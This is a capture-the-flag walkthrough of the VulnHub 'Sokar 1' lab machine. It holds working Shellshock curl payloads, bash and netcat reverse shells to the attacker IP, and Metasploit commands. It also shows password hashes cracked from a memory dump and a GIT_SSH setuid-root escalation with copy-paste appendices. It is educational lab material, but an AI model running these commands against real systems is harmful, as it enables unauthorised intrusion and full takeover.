walkthrough for sokar 1 - hml.io · date: thu, 13 nov 2014 22:04:31 +0100 subject: welcome dear...
TRANSCRIPT
Walkthrough for Sokar 1
Emre Bastuz
21st of February 2015
Cheers to rasta_mouse, to vulnhub and the vulnhub community for providing these opportunities to learn and have fun at the same time! :-‐)
Overview In this walkthrough the attacker machine is a Kali Linux system. The attacker system has the IP address 172.16.20.111 and the victim system "Sokar 1" receives an IP address from the network segment of 172.16.20.0/24 via dhcp. The MAC address of the „Sokar 1“ machine will be set to „08:00:27:F2:40:DB“ manually, as per instruction on vulnhub.
Obtaining network information After having installed the virtual machine, the IP address of the victim machine needs to be found out (via ping sweep): root@kali:~# nmap -sP 172.16.20.0/24 Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 10:09 CET ... Nmap scan report for 172.16.20.172 Host is up (0.00019s latency). MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) Now that we know the address of the machine, we look for open ports: root@kali:~# nmap -sS -sV -T4 172.16.20.172 -p1-1023 Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 11:34 CET Nmap scan report for 172.16.20.172 Host is up (0.00040s latency). Not shown: 1022 filtered ports PORT STATE SERVICE VERSION 591/tcp open http Apache httpd 2.2.15 ((CentOS)) MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) Tricky part: Doing a port scan for all TCP and UDP ports takes forever. There seems to be some type of network restriction in place. Now that we know there is a web application listening on port 591, we can dive into it!
Exploiting the first vector -‐ the webserver Continuing by checking the webserver listening on port 591 with a browser:
Looks like a web page that is made up of output from different command line tools like „netstat“, „uname“, „df“, etc. on a Linux shell. Also checking the HTML source of the page:
A CGI script delivers output for the webpage and this output is included via iframe. CGI .... cgi ... cgi ... shell tools ... shell ... shell ... SHELLSHOCK COMES TO MIND! Trying it out: root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; id' http://172.16.20.172:591/cgi-bin/cat No result ... Hmmmm ... Trying it again with with the full path to the binaries, coming up with this: root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /usr/bin/id' http://172.16.20.172:591/cgi-bin/cat uid=48(apache) gid=48(apache) groups=48(apache) Bingo!
Looking around the system further Doing some reconnaissance and checking file system folders, the interesting ones in this case being /home/ and /var/mail/: root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ls -al /home/' http://172.16.20.172:591/cgi-bin/cat ... drwx------ 2 apophis apophis 4096 Jan 2 20:12 apophis drwxrwxrwx. 2 bynarr bynarr 4096 Jan 27 19:14 bynarr root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ls -al /var/mail/' http://172.16.20.172:591/cgi-bin/cat ... -rw-rw---- 1 apophis mail 0 Dec 30 19:20 apophis -rw-rw-r--. 1 bynarr mail 551 Dec 30 21:09 bynarr Facts so far:
• Two regular users "apophis" and "bynarr" exist • Home folder for user bynarr is world-‐readable • Mail folder for user bynarr is readable for "others"
Establishing shell access Trying to get a reverse shell to smoothen working with the box:
Setup a listener in another terminal session on attacker machine (172.16.20.111 being the IP of the attacker machine) with port 8888: root@kali:~# nc -l -p 8888 Try to spawn a reverse shell on the victim via netcat with option "-‐e" (a.k.a. GAPING_SECURITY_HOLE): root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /usr/bin/nc -e /bin/sh 172.16.20.111 8888' http://172.16.20.172:591/cgi-bin/cat nope (curl instantly returns) Try to spawn a reverse shell on the victim via bash and /dev/tcp: root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/bash -i >& /dev/tcp/172.16.20.111/8888 0>&1' http://172.16.20.172:591/cgi-bin/cat nope (curl instantly returns) Does it even do an outgoing ping?!?!?!?! root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/ping 172.16.20.111' http://172.16.20.172:591/cgi-bin/cat nope (curl exits after some longer timeout) Conclusions:
• netcat might not be available for using it with a reverse shell (fast timeout when executing the command)
• Something is fishy about the outgoing network connectivity. Restrictions might be in place
We will look into that. Let's check the other vectors.
Checking the mail Mail data of user "bynarr" ist readable by „other“ so let’s check /var/mail/bynarr: root@kali:~# curl -H 'User-Agent: () { ,;}; echo Content-type: text/plain; echo; echo; /bin/cat /var/mail/bynarr' http://172.16.20.172:591/cgi-bin/cat Return-Path: <root@sokar> Delivered-To: bynarr@localhost Received: from root by localhost To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100 Subject: Welcome Dear Bynarr. Welcome to Sokar Inc. Forensic Development Team. A user account has been setup for you. UID 500 (bynarr) GID 500 (bynarr) 501 (forensic) Password 'fruity'. Please change this ASAP. Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis. All the best in your new role! -Sokar- Veeeeeeery nice! :-‐) Conclusions so far:
• Outbound network connections are restricted • User "bynarr" might be able to initiate outbound TCP connections on port 51242 • User "bynarr" might have the password "fruity"
Quotation hell and tty oddities So, for a reverse shell we need to switch user and use the port 51242 for the outgoing connection. This should be as easy as something like the following, would it not? :-‐) echo fruity | su bynarr -c /bin/bash -i >& /dev/tcp/172.16.20.111/51242 0>&1 Not really! While in fact the commands above illustrate what needs to be done, they do not work that way. Let's analyze it one at a time, using some other Linux machine: user1@debian7:~$ echo user2_password | su user2 -c id su: must be run from a terminal Piping the password does not work due to „tty issues". Spawning a pty and executing the "su" command in it is necessary to compensate for the "must be run from a terminal" problem: echo user2_password | python -c "import pty; pty.spawn(['/bin/su','user2','-c','id'])"
user2_password Password: Now it seems like there is some timing issue -‐ the password is printed *before* the "Password:" prompt. Let's fix the timing by adding a "sleep 1" to the "echo user_password2" and put both in parentheses, creating a subshell for detaching it from the spawned pty. (sleep 1; echo user2_password) | python -c "import pty; pty.spawn(['/bin/su','user2','-c','id'])" Password: uid=1001(user2) gid=1001(user2) groups=1001(user2) Now let's add the challenge-‐proven method of using the /dev/tcp trick to open a reverse shell and also add the full path to the used binaries: (/bin/sleep 1; /bin/echo fruity) | /usr/bin/python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','/bin/bash -i >& /dev/tcp/172.16.20.111/51242 0>&1']);" I will be honest here: it took quite some time to test through the variations of the commands and tricks necessary to achieve the su-‐and-‐reverse-‐shell in one push. Due to nested quotes that would have been required to use the command with "curl" I chose to use metasploit to deliver the command instead. Luckily, there is an exploitation module available for shellshock: apache_mod_cgi_bash_env_exec First let's use msfconsole to open a listener: root@kali:~# msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp msf exploit(handler) > set LHOST 172.16.20.111 msf exploit(handler) > set LPORT 51242 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j Now let's go for the actual exploitation (please note that the quotes need to be escaped in CMD): msf > use exploit/multi/http/apache_mod_cgi_bash_env_exec msf exploit(apache_mod_cgi_bash_env_exec) > set RHOST 172.16.20.172 msf exploit(apache_mod_cgi_bash_env_exec) > set RPORT 591 msf exploit(apache_mod_cgi_bash_env_exec) > set PAYLOAD linux/x86/exec
msf exploit(apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/cat msf exploit(apache_mod_cgi_bash_env_exec) > set CMD (sleep 1; echo fruity) | python -c \"import pty; pty.spawn([\'/bin/su\',\'-c\',\'/bin/bash -i >& /dev/tcp/172.16.20.111/51242 0>&1\',\'bynarr\']);\" msf exploit(apache_mod_cgi_bash_env_exec) > exploit -j [*] Exploit running as background job. [*] Command Stager progress - 100.37% done (1352/1347 bytes) [*] Sending stage (36 bytes) to 172.16.20.172 [*] Command shell session 1 opened (172.16.20.111:51242 -> 172.16.20.172:49236) at 2015-02-08 17:02:33 +0100 We're in :-‐) Let's interact: msf exploit(apache_mod_cgi_bash_env_exec) > sessions -i 1 [*] Starting interaction with 1... bash: no job control in this shell [bynarr@sokar cgi-bin]$ pwd /var/www/cgi-bin [bynarr@sokar cgi-bin]$ id uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)
Digging up stuff from RAM Looking through the user bynarr's home folder, we find some interesting stuff: [bynarr@sokar ~]$ cd /home/bynarr [bynarr@sokar ~]$ ls -al ... -rwxr-xr-x 1 root root 368 Jan 27 19:14 lime -rw------- 1 root root 10728 Nov 13 11:45 lime.ko The file "lime.ko" is only accessible by root but the file "lime" can be read and executed. Let's see, if that helps: [bynarr@sokar ~]$ file lime lime: Bourne-Again shell script text executable Let's look at the shell script: [bynarr@sokar ~]$ cat lime #!/bin/bash echo """ ========================== Linux Memory Extractorator ========================== " echo "LKM, add or remove?"
echo -en "> " read -e input if [ $input == "add" ]; then /sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw" elif [ $input == "remove" ]; then /sbin/rmmod lime else echo "Invalid input, burn in the fires of Netu!" fi The heading of the file says something like "Memory Extractor" so we can assume that some type of memory dump can be created by the kernel module, presumably as file "/tmp/ram". As "insmod" and "lime.ko" are not accessible by the user bynarr directly, it should be worth giving "sudo" a shot, running the script with the option "add": [bynarr@sokar ~]$ sudo ./lime [sudo] password for bynarr: fruity ========================== Linux Memory Extractorator ========================== LKM, add or remove? > add [bynarr@sokar ~]$ Has anything happened? Let's take a look in the folder "/tmp": [bynarr@sokar ~]$ ls -al /tmp ls -al /tmp total 261740 drwxrwxrwt. 3 root root 4096 Feb 8 16:52 . dr-xr-xr-x. 22 root root 4096 Feb 8 16:27 .. drwxrwxrwt 2 root root 4096 Feb 8 16:27 .ICE-unix -r--r--r-- 1 root root 267909120 Feb 8 16:52 ram There is a file called "ram", allright. After extracting the strings from "ram" and analyzing the output, the following important data was retrieved:
[bynarr@sokar ~]$ grep -a "apophis:" /tmp/ram ... apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7::: [bynarr@sokar ~]$ grep -a "root:" /tmp/ram ... root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7::: This is cool! We have found the password hashes for the users "apophis" and "root". Let's create a pseudo-‐shadow file that John the Ripper can work with on the attacker machine to crack the passwords: root@kali:~# cat pseudo-shadow apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7::: root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7::: Knowing that sqlmap has a pretty decent wordlist for cracking passwords we go for it: root@kali:~# john -wordlist=/usr/share/sqlmap/txt/wordlist.txt pseudo-shadow Loaded 2 password hashes with 2 different salts (sha512crypt [64/64]) overdrive (apophis) guesses: 1 time: 0:00:41:57 DONE (Sun Feb 8 18:27:07 2015) The root password could not be bruteforced but we now have the password for the user "apophis"!
Another user, another file to exploit Let's switch the user and continue looking for hints: [bynarr@sokar ~]$ python -c "import pty; pty.spawn('/bin/bash');" [bynarr@sokar ~]$ su - apophis Password: overdrive [apophis@sokar ~]$ id uid=501(apophis) gid=502(apophis) groups=502(apophis) Let's look through the user's folder and see, if we can find something interesting: [apophis@sokar ~]$ cd /home/apophis [apophis@sokar ~]$ ls -al
... -rwsr-sr-x 1 root root 8430 Jan 2 17:49 build We have a suid-‐root binary in the folder. Let's analyze it: [apophis@sokar ~]$ file build build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped An executable with symbol information included. Good. Any interesting strings? [apophis@sokar ~]$ strings -a build ... Build? (Y/N) OK :( Looks like some input/output related to user interaction. To see what information the symbols provide I dumped the function names and looked for familiar or special entries, dealing with input and output functions or user interaction in general: [apophis@sokar ~]$ nm build ... U __gets_chk@@GLIBC_2.3.4 ... U __printf_chk@@GLIBC_2.3.4 ... 00000000000008ac T encryptDecrypt ... U strcmp@@GLIBC_2.2.5 U system@@GLIBC_2.2.5 The presence of function calls with a "_chk" prepended to them indicates that the binary has been created with a compiler option to "FORTIFY" i.e. protect the programm flow from buffer overflows (see https://isisblogs.poly.edu/2011/04/11/fortify_source-‐semantics/). It seems like we will have no luck in owning the binary via gets and printf. The function "encryptDecrypt" looks like a non-‐system function and will be examined later. The next function "strcmp" is to be considered insecure as described at https://security.web.cern.ch/security/recommendations/en/codetools/c.shtml:
The strcpy built-‐in function does not check buffer lengths and may very well overwrite memory zone contiguous to the intended destination. In fact, the whole family of functions is similarly vulnerable: strcpy, strcat and strcmp. The next function "system" also introduces weaknesses to a software, as described at https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=2130132: Use of the system() function can result in exploitable vulnerabilities, in the worst case allowing execution of arbitrary system commands. Situations in which calls to system() have high risk include the following:
• When passing an unsanitized or improperly sanitized command string originating from a tainted source
• If a command is specified without a path name and the command processor path name resolution mechanism is accessible to an attacker
• If a relative path to an executable is specified and control over the current working directory is accessible to an attacker
• If the specified executable program can be spoofed by an attacker Let's run the software with different options for further analysis: [apophis@sokar ~]$ ./build ./build Build? (Y/N) N OK :( [apophis@sokar ~]$ ./build ./build Build? (Y/N) y y OK :( [apophis@sokar ~]$ ./build ./build Build? (Y/N) Y Cloning into '/mnt/secret-project'... ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. Observations while running "build":
• The software expects an input parameter of either "Y" or "N". • The parameter entry is case sensitive (capital "Y" for "yes" and everything else is
considered "no") • The software tries to clone something into "/mnt/secret-‐project" • SSH is being used • The hostname "sokar-‐dev" is relevant for the network activity
Doing a strings did not show any SSH related commands embedded in the binary, which is fishy -‐ the function call "encryptDecrypt" comes to mind. Let's see if we can shed some light what it does by visualizing the programm flow (I used a trial version of the Hopper disassembler for this):
Interpreting the disassembly on a rather abstract level: 1. Some things happen 2. A relatively big amount of data is put on the stack 3. There is interaction with the user (print something, get some answer, compare
the answer to something as in "enter yes or no") 4. In case the user choses "Y", the function "encryptDecrypt" is called and more
things are done To avoid reverse engineering the functionality of encryptDecrpyt, breakpoints at appropriate places of the program flow can be used: Load "build" into the GNU debugger: [apophis@sokar ~]$ gdb build ... (gdb) Set a breakpoint at main and run: (gdb) break main Breakpoint 1 at 0x8f3 (gdb) run Starting program: /home/apophis/build Breakpoint 1, 0x00007f9ee4e058f3 in main () Disassemble encyrptDecrypt: (gdb) disas encryptDecrypt Dump of assembler code for function encryptDecrypt: 0x00007f9ee4e058ac <+0>: mov %rdi,%rdx 0x00007f9ee4e058af <+3>: mov $0x0,%r9d 0x00007f9ee4e058b5 <+9>: mov $0xffffffffffffffff,%r11 0x00007f9ee4e058bc <+16>: mov %rdi,%r10 0x00007f9ee4e058bf <+19>: mov $0x0,%eax 0x00007f9ee4e058c4 <+24>: jmp 0x7f9ee4e058d6 <encryptDecrypt+42> 0x00007f9ee4e058c6 <+26>: movzbl (%rdx,%r8,1),%ecx 0x00007f9ee4e058cb <+31>: xor $0x49,%ecx 0x00007f9ee4e058ce <+34>: mov %cl,(%rsi,%r8,1) 0x00007f9ee4e058d2 <+38>: add $0x1,%r9d 0x00007f9ee4e058d6 <+42>: movslq %r9d,%r8 0x00007f9ee4e058d9 <+45>: mov %r11,%rcx 0x00007f9ee4e058dc <+48>: mov %r10,%rdi 0x00007f9ee4e058df <+51>: repnz scas %es:(%rdi),%al 0x00007f9ee4e058e1 <+53>: not %rcx 0x00007f9ee4e058e4 <+56>: sub $0x1,%rcx 0x00007f9ee4e058e8 <+60>: cmp %rcx,%r8 0x00007f9ee4e058eb <+63>: jb 0x7f9ee4e058c6 <encryptDecrypt+26> 0x00007f9ee4e058ed <+65>: repz retq
End of assembler dump. Put another breakpoint at the end of the encryptDecrypt function (offset +65) and continue to run the program: (gdb) break *0x7f9ee4e058ed Breakpoint 2 at 0x7f9ee4e058ed (gdb) continue Continuing. Build? (Y/N) Y Breakpoint 2, 0x00007f9ee4e058ed in encryptDecrypt () Let's take a look at the register values, focusing on the value in rbx: (gdb) info registers .... rbx 0x7fffc42ac240 140736484524608 ... Let's see what we can find at that particular memory location: (gdb) x /82sb 0x7fffc42ac240 0x7fffc42ac240: "/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/" There we go: this is what the decrypted string looks like. The tool "build" is trying to clone a git repository via ssh to a local path of /mnt/secret-‐project. As the path to "git" is absolute, there is no way to mess around with the PATH environment variable and fake a "git" command. After doing some research on what other environment variables exist that git uses, I came up with idea of using GIT_SSH to execute arbitrary commands under my control.
Going for root Firstly however, let's create a binary to spawn a shell by transferring the source code and compiling it: [apophis@sokar ~]$ cat <<EOF > /tmp/shell.c > #include <unistd.h> > #include <sys/types.h> > #include <grp.h> > #include <stdio.h> > > int main (int argc, char** argv) { > > gid_t newGrp = 0;
> > if (setuid(0) != 0) { > perror("Setuid failed, no suid-bit set?"); > return 1; > } > setgid(0); > seteuid(0); > setegid(0); > > setgroups(1, &newGrp); > > execvp("/bin/sh", argv); > > return 0; > } > > EOF (please note the enter key had to be pressed additionaly once or twice after the final closing curly brace due to terminal oddities) Let's compile it: [apophis@sokar ~]$ gcc /tmp/shell.c -o /tmp/shell Create a script that does the "chown and chmod" job to create a suid root binary: [apophis@sokar ~]$ cat <<EOF > doit.sh > #!/bin/bash > chown root:root /tmp/shell > chmod 4755 /tmp/shell > EOF Make the script executable, put it into the GIT_SSH environment variable and run build: [apophis@sokar ~]$ chmod ugo+x doit.sh [apophis@sokar ~]$ export GIT_SSH=/home/apophis/doit.sh [apophis@sokar ~]$ ./build Build? (Y/N) Y Y ... Did it work? [apophis@sokar ~]$ ls -al /tmp/shell -rwsr-xr-x 1 root root 7312 Feb 11 16:28 /tmp/shell Looks good, let's go for it :-‐) [apophis@sokar ~]$ /tmp/shell [root@sokar ~]# id
uid=0(root) gid=0(root) groups=0(root) Really appreciating the moment, let's stroll over to the root user's directory and get the flag: [root@sokar ~]# cd /root/ [root@sokar root]# ls -al total 36 dr-xr-x---. 2 root root 4096 Jan 15 21:14 . dr-xr-xr-x. 22 root root 4096 Feb 11 14:55 .. -rw-------. 1 root root 0 Jan 27 19:30 .bash_history -rw-r--r--. 1 root root 18 May 20 2009 .bash_logout -rw-r--r--. 1 root root 176 May 20 2009 .bash_profile -rw-r--r--. 1 root root 176 Sep 23 2004 .bashrc -rw-r--r-- 1 root root 678 Jan 2 17:21 build.c -rw-r--r--. 1 root root 100 Sep 23 2004 .cshrc -rw-r--r-- 1 root root 837 Jan 15 21:14 flag -rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc [root@sokar root]# cat flag 0 0 | | ____|___|____ 0 |~ ~ ~ ~ ~ ~| 0 | | Happy | | ___|__|___________|___|__ |/\/\/\/\/\/\/\/\/\/\/\/| 0 | B i r t h d a y | 0 | |/\/\/\/\/\/\/\/\/\/\/\/| | _|___|_______________________|___|__ |/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/| | | | V u l n H u b ! ! | | ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ | |___________________________________| ===================================== | Congratulations on beating Sokar! | | | | Massive shoutout to g0tmi1k and | | the entire community which makes | | VulnHub possible! | | | | rasta_mouse (@_RastaMouse) | =====================================
:-‐)
Appendix A -‐ metasploit copy-‐n-‐pastable msfconsole use exploit/multi/handler set PAYLOAD linux/x86/shell/reverse_tcp set LHOST 172.16.20.111 set LPORT 51242 set ExitOnSession false exploit -j use exploit/multi/http/apache_mod_cgi_bash_env_exec set RHOST 172.16.20.172 set RPORT 591 set PAYLOAD linux/x86/exec set TARGETURI /cgi-bin/cat set CMD (sleep 1; echo fruity) | python -c \"import pty; pty.spawn([\'/bin/su\',\'-c\',\'/bin/bash -i >& /dev/tcp/172.16.20.111/51242 0>&1\',\'bynarr\']);\" exploit -j sessions -i 1
Appendix B -‐ shell.c copy-‐n-‐pastable cat <<EOF > /tmp/shell.c #include <unistd.h> #include <sys/types.h> #include <grp.h> #include <stdio.h> int main (int argc, char** argv) { gid_t newGrp = 0; if (setuid(0) != 0) { perror("Setuid failed, no suid-bit set?"); return 1; } setgid(0); seteuid(0); setegid(0); setgroups(1, &newGrp); execvp("/bin/sh", argv); return 0; } EOF
Appendix C -‐ doit.sh copy-‐n-‐pastable cat <<EOF > doit.sh #!/bin/bash chown root:root /tmp/shell chmod 4755 /tmp/shell EOF